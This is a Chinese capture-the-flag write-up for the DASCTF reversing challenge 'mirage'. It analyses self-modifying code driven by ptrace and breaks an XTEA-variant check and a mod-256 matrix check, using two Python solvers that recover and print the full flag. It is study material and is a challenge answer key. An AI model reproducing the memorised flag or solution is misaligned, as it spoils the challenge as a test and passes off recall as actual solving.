发现三阶段架构:.text / stage2 / stage3;分析fork() + mprotect() +ptrace(PEEKDATA/POKEDATA) 父子进程自修改代码;密钥为 flag 前8字节 DASCTF{p,解密后得到 XTEA 变体验证代码;使用 pow(inv, -1, 2^32) 确定轮数,解密得中间16字符 Tr4c3_s3Lf_m0d1F密钥 0x5809623058096230,得到 14×14 矩阵验证代码;矩阵求解Gauss消元 (mod 256) 满秩矩阵,得到唯一解 = y_c0d3_m4G1c!}。
求解 y_c0d3_m4G1c!}:
#!/usr/bin/env python3 from elftools.elf.elffile import ELFFile elf = ELFFile(open('mirage','rb')) rodata = elf.get_section_by_name('.rodata').data() B = list(rodata[0x40 : 0x40 + 14]) MAT_START = 0x60 A = [] for row in range(14): start = MAT_START + row * 14 A.append(list(rodata[start : start + 14])) def gauss_mod256(A, B): n = len(A) M = [row[:] + [B[i]] for i, row in enumerate(A)] for col in range(n): pivot = None for r in range(col, n): if M[r][col] & 1: pivot = r break M[col], M[pivot] = M[pivot], M[col] inv = pow(M[col][col], -1, 256) for j in range(n + 1): M[col][j] = (M[col][j] * inv) & 0xFF for r in range(n): if r != col and M[r][col] != 0: factor = M[r][col] for j in range(n + 1): M[r][j] = (M[r][j] - factor * M[col][j]) & 0xFF return [M[i][n] for i in range(n)] result = gauss_mod256(A, B) flag_part = bytes(result) print(f"{flag_part}")
求解flag脚本:
#!/usr/bin/env python3 import struct DELTA = 0x21524111 DELTA_ADD = (-DELTA) & 0xFFFFFFFF K0 = 0x13375eed K1 = 0xcafebabe K2 = 0x8badf00d K3 = 0xfeedface END_SUM = 0xC093CCD0 def ROL(x, n): return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF # n * DELTA_ADD ≡ END_SUM (mod 2^32) inv = pow(DELTA_ADD, -1, 1 << 32) n_rounds = (END_SUM * inv) % (1 << 32) sums_rev = [] s = END_SUM for _ in range(n_rounds): sums_rev.append(s) s = (s - DELTA_ADD) & 0xFFFFFFFF def decrypt_block(v0, v1, k0, k1, k2, k3): for s in sums_rev: eax = (s + v0) & 0xFFFFFFFF eax ^= ROL(v0, 3) eax ^= (((v0 << 4) + k2) & 0xFFFFFFFF) eax ^= (((v0 >> 5) + k3) & 0xFFFFFFFF) v1 = (v1 - eax) & 0xFFFFFFFF eax = (s + v1) & 0xFFFFFFFF eax ^= ROL(v1, 13) eax ^= (((v1 << 4) + k0) & 0xFFFFFFFF) eax ^= (((v1 >> 5) + k1) & 0xFFFFFFFF) v0 = (v0 - eax) & 0xFFFFFFFF return v0, v1 v0, v1 = decrypt_block(0xcb95449c, 0xf7f975e4, K0, K1, K2, K3) flag_8_16 = struct.pack('<II', v0, v1) v0, v1 = decrypt_block(0xdf22bf8b, 0x6aadb19a, K0, K1, K2, K3) flag_16_24 = struct.pack('<II', v0, v1) middle = flag_8_16 + flag_16_24 last14 = b"y_c0d3_m4G1c!}" flag = b"DASCTF{p" + middle + last14 print(f"flag: {flag.decode()}")

浙公网安备 33010602011771号